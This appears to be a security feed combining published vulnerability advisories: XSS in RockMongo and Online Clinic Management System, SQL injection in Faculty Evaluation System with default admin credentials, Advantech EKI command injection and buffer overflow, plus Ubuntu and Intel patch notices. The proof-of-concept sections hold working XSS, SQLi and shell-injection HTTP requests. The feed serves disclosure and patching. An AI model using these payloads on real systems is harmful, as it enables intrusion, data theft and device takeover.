RockMongo version 1.1.7 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: RockMongo 1.1.7 - Stored Cross-Site Scripting (XSS)# Discovery by: Rafael Pedrero# Discovery Date: 2020-09-19# Vendor Homepage: https://github.com/iwind/rockmongo/# Software Link : https://github.com/iwind/rockmongo/# Tested Version: 1.1.7# Tested on:  Windows 7 and 10# Vulnerability Type: Stored Cross-Site Scripting (XSS)CVSS v3: 6.5CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NCWE: CWE-79Vulnerability description: RockMongo v1.1.7, does not sufficiently encodeuser-controlled inputs, resulting in a stored and reflected Cross-SiteScripting (XSS) vulnerability via the index.php, in multiple parameter.Proof of concept:Stored:POST https://localhost/mongo/index.php?action=db.newCollection&db=localHTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3Content-Type: application/x-www-form-urlencodedContent-Length: 69Origin: https://localhostConnection: keep-aliveReferer: https://localhost/mongo/index.php?action=db.newCollection&db=localCookie: PHPSESSID=jtjuid60sv6j3encp3cqqps3f7; ROCK_LANG=es_es;rock_format=jsonUpgrade-Insecure-Requests: 1Host: localhostname=%09%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&size=0&max=0Reflected:https://localhost/mongo/index.php?action=collection.index&db=%3C%2Ffont%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cfont%3E&collection=startup_loghttps://localhost/mongo/index.php?action=collection.index&db=local&collection=%3C%2Ffont%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cfont%3Ehttps://localhost/mongo/index.php?action=db.index&db=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3Ehttp://localhost/mongo/index.php?db=%3C%2Ffont%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cfont%3E&collection=startup_log&action=collection.index&format=json&criteria=%7B%0D%0A%0D%0A%7D&newobj=%7B%0D%0A%09%27%24set%27%3A+%7B%0D%0A%09%09%2F%2Fyour+attributes%0D%0A%09%7D%0D%0A%7D&field%5B%5D=_id&order%5B%5D=desc&field%5B%5D=&order%5B%5D=asc&field%5B%5D=&order%5B%5D=asc&field%5B%5D=&order%5B%5D=asc&limit=0&pagesize=10&command=findAllhttp://localhost/mongo/index.php?db=local&collection=%3C%2Ffont%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cfont%3E&action=collection.index&format=json&criteria=%7B%0D%0A%0D%0A%7D&newobj=%7B%0D%0A%09%27%24set%27%3A+%7B%0D%0A%09%09%2F%2Fyour+attributes%0D%0A%09%7D%0D%0A%7D&field%5B%5D=_id&order%5B%5D=desc&field%5B%5D=&order%5B%5D=asc&field%5B%5D=&order%5B%5D=asc&field%5B%5D=&order%5B%5D=asc&limit=0&pagesize=10&command=findAllhttp://localhost/mongo/index.php?db=local&collection=startup_log&action=collection.index&format=%27+onMouseOver%3D%27alert%281%29%3B&criteria=%7B%0D%0A%0D%0A%7D&newobj=%7B%0D%0A%09%27%24set%27%3A+%7B%0D%0A%09%09%2F%2Fyour+attributes%0D%0A%09%7D%0D%0A%7D&field%5B%5D=_id&order%5B%5D=desc&field%5B%5D=&order%5B%5D=asc&field%5B%5D=&order%5B%5D=asc&field%5B%5D=&order%5B%5D=asc&limit=0&pagesize=10&command=findAllPOST http://localhost/mongo/index.php?action=login.index&host=0 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3Content-Type: application/x-www-form-urlencodedContent-Length: 109Origin: https://localhostAuthorization: Basic cm9vdDpyb290Connection: keep-aliveReferer: https://localhost/mongo/index.php?action=login.index&host=0Cookie: ROCK_LANG=es_es; PHPSESSID=tpaptf0gtmas344agj5ia6srl1;rock_format=jsonUpgrade-Insecure-Requests: 1Host: localhostmore=0&host=0&username=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&password=****&db=&lang=es_es&expire=3POST http://localhost/mongo/index.php?action=server.command& HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3Content-Type: application/x-www-form-urlencodedContent-Length: 109Origin: https://localhostAuthorization: Basic cm9vdDpyb290Connection: keep-aliveReferer: https://localhost/mongo/index.php?action=server.command&Cookie: ROCK_LANG=es_es; PHPSESSID=tpaptf0gtmas344agj5ia6srl1;rock_format=jsonUpgrade-Insecure-Requests: 1Host: localhostcommand=%7B%0D%0A++listCommands%3A+1%0D%0A%7D&db=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&format=jsonPOST http://localhost/mongo/index.php?action=server.execute& HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3Content-Type: application/x-www-form-urlencodedContent-Length: 140Origin: https://localhostAuthorization: Basic cm9vdDpyb290Connection: keep-aliveReferer: https://localhost/mongo/index.php?action=server.execute&Cookie: ROCK_LANG=es_es; PHPSESSID=tpaptf0gtmas344agj5ia6srl1;rock_format=jsonUpgrade-Insecure-Requests: 1Host: localhostcode=function+%28%29+%7B%0D%0A+++var+plus+%3D+1+%2B+2%3B%0D%0A+++return+plus%3B%0D%0A%7D&db=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

RockMongo 1.1.7 Cross Site Scripting

Ubuntu Security Notice 6074-1 - Multiple security issues were discovered in Firefox. If a user were tricked into opening a specially crafted website, an attacker could potentially exploit these to cause a denial of service, obtain sensitive information across domains, or execute arbitrary code. Irvan Kurniawan discovered that Firefox did not properly manage memory when using RLBox Expat driver. An attacker could potentially exploits this issue to cause a denial of service.

    ==========================================================================Ubuntu Security Notice USN-6074-1May 15, 2023firefox vulnerabilities==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 20.04 LTS- Ubuntu 18.04 LTSSummary:Several security issues were fixed in Firefox.Software Description:- firefox: Mozilla Open Source web browserDetails:Multiple security issues were discovered in Firefox. If a user weretricked into opening a specially crafted website, an attacker couldpotentially exploit these to cause a denial of service, obtain sensitiveinformation across domains, or execute arbitrary code. (CVE-2023-32205,CVE-2023-32207, CVE-2023-32210, CVE-2023-32211, CVE-2023-32212,CVE-2023-32213, CVE-2023-32215, CVE-2023-32216)Irvan Kurniawan discovered that Firefox did not properly manage memorywhen using RLBox Expat driver. An attacker could potentially exploits thisissue to cause a denial of service. (CVE-2023-32206)Anne van Kesteren discovered that Firefox did not properly validate theimport() call in service workers. An attacker could potentially exploitsthis to obtain sensitive information. (CVE-2023-32208)Sam Ezeh discovered that Firefox did not properly handle certain faviconimage files. If a user were tricked into opening a malicicous favicon file,an attacker could cause a denial of service. (CVE-2023-32209)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 20.04 LTS:  firefox                         113.0+build2-0ubuntu0.20.04.1Ubuntu 18.04 LTS:  firefox                         113.0+build2-0ubuntu0.18.04.1After a standard system update you need to restart Firefox to make all thenecessary changes.References:  https://ubuntu.com/security/notices/USN-6074-1  CVE-2023-32205, CVE-2023-32206, CVE-2023-32207, CVE-2023-32208,  CVE-2023-32209, CVE-2023-32210, CVE-2023-32211, CVE-2023-32212,  CVE-2023-32213, CVE-2023-32215, CVE-2023-32216Package Information:  https://launchpad.net/ubuntu/+source/firefox/113.0+build2-0ubuntu0.20.04.1  https://launchpad.net/ubuntu/+source/firefox/113.0+build2-0ubuntu0.18.04.1

Ubuntu Security Notice USN-6074-1

Online Clinic Management System version 2.2 suffers from multiple persistent cross site scripting vulnerabilities.

# Exploit Title: Online Clinic Management System 2.2 - Multiple Stored Cross-Site Scripting (XSS)  
# Date: 27-06-2019  
# Exploit Author: Rafael Pedrero  
# Vendor Homepage: https://bigprof.com  
# Software Download Link :  
https://bigprof.com/appgini/applications/online-clinic-management-system  
# Version : 2.2  
# Category: Webapps  
# Tested on: Windows 7 64 Bits / Windows 10 64 Bits  
# CVE :  
# Category: webapps

# Vulnerability Type: Stored Cross-Site Scripting

1. Description

Online Clinic Management System 2.2, does not sufficiently encode  
user-controlled inputs, resulting in a stored Cross-Site Scripting (XSS)  
vulnerability via the /clinic/medical_records_view.php, in FirstRecord  
parameter, GET and POST request.

2. Proof of Concept

GET:  
http://127.0.0.1/clinic/medical_records_view.php?SelectedID=2&record-added-ok=5781&SortField=&SortDirection=&FirstRecord=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&DisplayRecords=all&SearchString=

POST:  
POST http://127.0.0.1/clinic/medical_records_view.php HTTP/1.1  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)  
Gecko/20100101 Firefox/70.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3  
Content-Type: multipart/form-data;  
boundary=---------------------------1512016725878  
Content-Length: 1172  
Origin: https://127.0.0.1  
Connection: keep-alive  
Referer: https://127.0.0.1/clinic/medical_records_view.php  
Cookie: online_clinic_management_system=bnl1ht0a4n7snalaoqgh8f85b4;  
online_clinic_management_system.dvp_expand=[%22tab_medical_records-patient%22%2C%22tab_events-name_patient%22]  
Upgrade-Insecure-Requests: 1  
Host: 127.0.0.1

-----------------------------1512016725878  
Content-Disposition: form-data; name="current_view"

DVP  
-----------------------------1512016725878  
Content-Disposition: form-data; name="SortField"

-----------------------------1512016725878  
Content-Disposition: form-data; name="SelectedID"

1  
-----------------------------1512016725878  
Content-Disposition: form-data; name="SelectedField"

-----------------------------1512016725878  
Content-Disposition: form-data; name="SortDirection"

-----------------------------1512016725878  
Content-Disposition: form-data; name="FirstRecord"

"><script>alert(1);</script>  
-----------------------------1512016725878  
Content-Disposition: form-data; name="NoDV"

-----------------------------1512016725878  
Content-Disposition: form-data; name="PrintDV"

-----------------------------1512016725878  
Content-Disposition: form-data; name="DisplayRecords"

all  
-----------------------------1512016725878  
Content-Disposition: form-data; name="patient"

-----------------------------1512016725878  
Content-Disposition: form-data; name="SearchString"

-----------------------------1512016725878--

1. Description

Online Clinic Management System 2.2, does not sufficiently encode  
user-controlled inputs, resulting in a stored Cross-Site Scripting (XSS)  
vulnerability via the /clinic/patients_view.php, in FirstRecord parameter.

2. Proof of Concept

http://127.0.0.1/clinic/patients_view.php?SelectedID=1&record-added-ok=11536&SortField=&SortDirection=&FirstRecord=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&DisplayRecords=all&SearchString=

And Reflected Cross-Site Scripting (XSS) too.  
# Vulnerability Type: Reflected Cross-Site Scripting

1. Description

Online Clinic Management System 2.2, does not sufficiently encode  
user-controlled inputs, resulting in a Reflected Cross-Site Scripting (XSS)  
vulnerability via the /clinic/events_view.php, in FirstRecord parameter.

2. Proof of Concept

http://127.0.0.1/clinic/events_view.php?SelectedID=2&record-added-ok=7758&SortField=&SortDirection=&FirstRecord=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&DisplayRecords=all&SearchString=

1. Description

Online Clinic Management System 2.2, does not sufficiently encode  
user-controlled inputs, resulting in a Reflected Cross-Site Scripting (XSS)  
vulnerability via the /clinic/disease_symptoms_view.php, in FirstRecord  
parameter.

2. Proof of Concept

http://127.0.0.1/clinic/disease_symptoms_view.php?SelectedID=1&record-added-ok=1096&SortField=&SortDirection=&FirstRecord=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&DisplayRecords=all&SearchString=

Online Clinic Management System 2.2 Cross Site Scripting

Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_class.php?id=.

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**Faculty Evaluation System v1.0 by oretnom23 has SQL injection**

Admin account password： admin@admin.com/admin123

BUG\_Author: acmglz

vendors: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /eval/admin/manage\_class.php?id=

Vulnerability location: /eval/admin/manage\_class.php?id=, id

dbname =evaluation\_db

\[+\] Payload: /eval/admin/manage\_class.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

GET /eval/admin/manage\_class.php?id\=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=lrrse02i69soj9l3lnarhnd9ck
Connection: close

CVE-2023-31845: bug_report/SQLi-4.md at main · acmglz/bug_report

Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_subject.php?id=.

**Faculty Evaluation System v1.0 by oretnom23 has SQL injection**

Admin account password： admin@admin.com/admin123

BUG\_Author: acmglz

vendors: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /eval/admin/manage\_subject.php?id=

Vulnerability location: /eval/admin/manage\_subject.php?id=, id

dbname =evaluation\_db

\[+\] Payload: /eval/admin/manage\_subject.php?id=2%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

GET /eval/admin/manage\_subject.php?id\=2%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=lrrse02i69soj9l3lnarhnd9ck
Connection: close

CVE-2023-31844: bug_report/SQLi-3.md at main · acmglz/bug_report

Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/index.php?page=edit_faculty&id=.

**Faculty Evaluation System v1.0 by oretnom23 has SQL injection**

Admin account password： admin@admin.com/admin123

BUG\_Author: acmglz

vendors: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /eval/index.php?page=edit\_faculty&id=

Vulnerability location: /eval/index.php?page=edit\_faculty&id=, id

dbname =evaluation\_db

\[+\] Payload: /eval/index.php?page=edit\_faculty&id=-1%20union%20select%201,database(),3,4,5,6,7,8--+ // Leak place ---> id

GET /eval/index.php?page\=edit\_faculty&id\=\-1%20union%20select%201,database(),3,4,5,6,7,8\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=lrrse02i69soj9l3lnarhnd9ck
Connection: close

CVE-2023-31842: bug_report/SQLi-2.md at main · acmglz/bug_report

Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/view_faculty.php?id=.

**Faculty Evaluation System v1.0 by oretnom23 has SQL injection**

Admin account password： admin@admin.com/admin123

BUG\_Author: acmglz

vendors: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /eval/admin/view\_faculty.php?id=

Vulnerability location: /eval/admin/view\_faculty.php?id=, id

dbname =evaluation\_db

\[+\] Payload: /eval/admin/view\_faculty.php?id=-1%20union%20select%201,2,3,4,database(),6,7,8,9--+ // Leak place ---> id

GET /eval/admin/view\_faculty.php?id\=\-1%20union%20select%201,2,3,4,database(),6,7,8,9\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=lrrse02i69soj9l3lnarhnd9ck
Connection: close

CVE-2023-31843: bug_report/SQLi-1.md at main · acmglz/bug_report

Advantech EKI-1524-CE series, EKI-1522 series, and EKI-1521 series suffer from command injection and buffer overflow vulnerabilities.

CyberDanube Security Research 20230511-0  
-------------------------------------------------------------------------------  
                title| Multiple Vulnerabilities  
              product| EKI-1524-CE series, EKI-1522 series, EKI-1521 series  
   vulnerable version| 1.21  
        fixed version| 1.24  
           CVE number| CVE-2023-2573, CVE-2023-2574, CVE-2023-2575  
               impact| High  
             homepage| https://advantech.com  
                found| 2023-03-06  
                   by| S. Dietz, T. Weber (Office Vienna)  
                     | CyberDanube Security Research  
                     | Vienna | St. Pölten  
                     |  
                     | https://www.cyberdanube.com  
-------------------------------------------------------------------------------

Vendor description  
-------------------------------------------------------------------------------  
"Advantech’s corporate vision is to enable an intelligent planet. The company  
is a global leader in the fields of IoT intelligent systems and embedded  
platforms. To embrace the trends of IoT, big data, and artificial intelligence,  
Advantech promotes IoT hardware and software solutions with the Edge  
Intelligence WISE-PaaS core to assist business partners and clients in  
connecting their industrial chains. Advantech is also working with business  
partners to co-create business ecosystems that accelerate the goal of  
industrial intelligence."

Source: https://www.advantech.com/en/about

Vulnerable versions  
-------------------------------------------------------------------------------  
EKI-1524-CE series / 1.21  
EKI-1522-CE series / 1.21  
EKI-1521-CE series / 1.21

Vulnerability overview  
-------------------------------------------------------------------------------  
1) Authenticated Command Injection (CVE-2023-2573, CVE-2023-2574)  
The web server of the device is prone to two authenticated command injections.  
These allow an attacker to gain full access to the underlying operating system  
of the device. This device class can be attached to legacy systems via RS-232,  
RS-422 or RS-485. Such peripheral systems can be affected by attacks to the  
device from malicious actors.

2) Buffer Overflow (CVE-2023-2575)  
The web server is prone to a buffer overflow, triggered due to missing input  
lenght validation in the NTP input field. According to the vendor, the NTP  
server string is expected to be 64 bytes long, which is not correctly checked.

Proof of Concept  
-------------------------------------------------------------------------------  
1) Authenticated Command Injection  
The web server is prone to two authenticated command injections via POST  
parameters. The following proof-of-concepts show how to inject commands to the  
system which gets executed with root permissions in the background:

1.1) Blind Authenticated Command Injection in NTP Server Name (CVE-2023-2573)  
The following POST request executes the command “;ping 10.0.0.1” on the system:  
===============================================================================  
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1  
Host: 172.16.0.100  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 541  
Origin: http://172.16.0.100  
Connection: close  
Referer: http://172.16.0.100/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=;ping+10.0.0.1;&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

===============================================================================  
It is also possible to execute this command without any interceptor proxy by  
enclose it with ";", which results in the string “;ping 10.0.0.1;”.

1.2) Blind Authenticated Command Injection in Device Name (CVE-2023-2574)  
The device name can also be abused for command injection. It is only executed  
on reboot, but this can also be done via the device’s web-interface. A POST  
request which injects the command “;ls /etc;” can be looks like the following:  
===============================================================================  
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1  
Host: 172.16.0.100  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 541  
Origin: http://172.16.0.100  
Connection: close  
Referer: http://172.16.0.100/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=;ls+/etc;&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

===============================================================================  
Such command can also be injected by setting the device name to “;ls /etc;”.

2) Buffer Overflow (CVE-2023-2575)  
The following POST request can be used to trigger a buffer overflow  
vulnerability in the web server:  
===============================================================================  
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1  
Host: 172.16.0.97  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 823  
Origin: http://172.16.0.97  
Connection: close  
Referer: http://172.16.0.97/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=7&min_name=2&sec_name=52&tz=UTC12%3A0&ntp_name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80  
===============================================================================

The serial port of the device provides error messages, which already indicate  
that the stack has been corrupted:  
/ # *** Error in `./index.cgi': free(): invalid next size (normal): 0x00069828 ***  
*** Error in `./index.cgi': malloc(): memory corruption: 0x00069898 ***

Furthermore, the forked child processes seem to remain in the process list as  
zombies - three buffer overflows were triggered in this case:  
/ # ps  
PID   USER     COMMAND  
[...]  
  935 root     ./index.cgi func=setsys  
  959 root     ./index.cgi func=setsys  
  983 root     ./index.cgi func=setsys  
[...]

The vulnerabilities were manually verified on an emulated device by using the  
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution  
-------------------------------------------------------------------------------  
Update the product to the latest available firmware version.

Workaround  
-------------------------------------------------------------------------------  
None

Recommendation  
-------------------------------------------------------------------------------  
CyberDanube recommends Advantech customers to upgrade the firmware to the  
latest version available.

Contact Timeline  
-------------------------------------------------------------------------------  
2023-03-08: Contacting Advantech via Service Request form; No answer.  
2023-03-13: Contacting Advantech via Czech PSIRT (security@advantech.cz);  
            Vendor confirmed vulnerabilities and will provide a fixed firmware  
            until 2023-05-13. Asked vendor for affected models; Vendo  
            responded that EKI-1524/1522/1521 series are affected.  
2023-03-20: Asked for status update.  
2023-03-21: Vendor responded that the firmware is currently under testing.  
2023-03-31: Vendor statet, that firmware is done and sent it via email; Found  
            additional issues and responded to vendor.  
2023-04-01: Vendor asked multiple question.  
2023-04-02: Responded to vendor, answered questions and asked for a call;  
            Vendor agreed.  
2023-04-04: Set date for a call to 2023-04-10.  
2023-04-10: Clarified further issues.  
2023-04-23: Vendor sent notification that a beta release of the firmware is  
            available.  
2023-05-02: Vendor sent notification that a new firmware release is online.  
2023-05-04: Asked vendor if the advisory can be published earlier than agreed.  
2023-05-08: Asked for status update; Vendor confirmed that all vulnerabilities  
            have been fixed.  
2023-05-11: Coordinated release of security advisory.

Web: https://www.cyberdanube.com  
Twitter: https://twitter.com/cyberdanube  
Mail: research at cyberdanube dot com

EOF S. Dietz, T. Weber / @2023

Advantech EKI-15XX Series Command Injection / Buffer Overflow

Improper access control in the Intel(R) Server Board S2600WTT belonging to the Intel(R) Server Board S2600WT Family with the BIOS version 0016 may allow a privileged user to potentially enable escalation of privilege via local access.

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*   Document Number: **123456**
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**SmmRuntime Escalation of Privilege**

Intel ID: 

INTEL-SA-00056

Product family: 

Intel® Server Board S1200/1400/1600/2400/2600/4600 series

Impact of vulnerability: 

Elevation of Privilege

Severity rating: 

Important

Original release: 

Aug 08, 2016

Last revised: 

Sep 30, 2016

**Summary:** 

Intel is releasing mitigations for a privilege escalation issue. This issue affects the UEFI BIOS of select Intel Products. The issue identified is a method that enables malicious code to gain access to System Management Mode (SMM).

**Description:** 

A malicious attacker with local administrative access can leverage the vulnerable function to gain access to System Management Mode (SMM) and take full control of the platform. Intel products that are listed below should apply the update.

Other vendors’ products which use the common BIOS function SmmRuntime may be impacted.  To find out whether a product you have may be vulnerable to this issue, please contact your system supplier.

  
The table below provides the list of Intel products impacted by the issue as well as the versions and the locations of the BIOS that contains the fix. If the customer system has BIOS version lower than one listed in the table customer is recommended to upgrade the BIOS to the version listed below, or later.

How to identify Intel® Server Boards model and BIOS version?

To identify the server board model and the BIOS version customer can use one of the methods below.

1.  For server systems running Microsoft Windows\* operating systems, download and run the Intel® System Support Utility and view

Detailed View – Computer – BIOS Version/Date

Detailed View – Computer – System Model

The utility will generate an output file with computer system information. The BIOS version and the board model should look like this:

BIOS Version/Date            Intel Corporation SE5C610.86B.01.01.0008.021120151325 , 02/11/2015 12:00 AM

System Model                    S2600WT2      

   2.  For server systems running Linux operating system customers should execute the commands below to obtain the BIOS version and the Board model respectively:

dmidecode -t 0 | grep Version | awk -F : '{ print $2 }' | sed s/\\ //g

dmidecode -t 2 | grep Product | awk -F : '{ print $2 }' | sed s/\\ //g

The first command will return the line of text similar to this:

SE5C610.86B.01.01.0016.033120161139

The second command will return the line of text similar to this:

S2600WTT

In this example the commands were executed on the Intel® Server Board S2600WTT belonging to the Intel® Server Board S2600WT Family with the BIOS version 0016.

Product Name

Recommended BIOS version (or later)

Intel® Server Board S1200RP Family

0006

Intel® Server Board S1400FP Family

0005

Intel® Server Board S1400SP Family

0005

Intel® Server Board S1600JP Family

0005

Intel® Server Board S2400BB Family

0005

Intel® Server Board S2400EP Family

0005

Intel® Server Board S2400SC Family

0005

Intel® Server Board S2600CO Family

0005

Intel® Server Board S2600CP Family

0005

Intel® Server Board S2600GL Family

Intel® Server Board S2600GZ Family

0005

Intel® Server Board S2600IP Family

0005

Intel® Workstation Board W2600CR Family

0005

Intel® Server Board S2600JF Family

0005

Intel® Server Board S2600WP Family

0005

Intel® Server Board S4600LH Family

Intel® Server Board S4600LT Family

0005

Intel® Server Board S2600CW Family

0018

Intel® Server Board S2600KP Family

0018

Intel® Server Board S2600TP Family

0018

Intel® Server Board S2600WT Family

0018

Intel® Server Board S1200BT

0044

**Recommendations:** 

Intel highly recommends applying the mitigations. For Intel branded products where a mitigation is still pending, we recommend following good security practices including running with least privilege and keeping security software and operating systems up to date.

**Acknowledgements:** 

N/A

Revision

Date

Description

1.1

16-August-2016

Removed Intel® Compute Module MFS2600KI due to EOL

1.2

23-August-2016

Removed EOLd boards and updated availability date

1.3

29-September-2016

Updated remaining boards with BIOS download URL

1.4

30-September-2016

Corrected Version Numbers

1.5

04-September-2018

Added S1200BT Family mitigations

1.6

09-May-2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

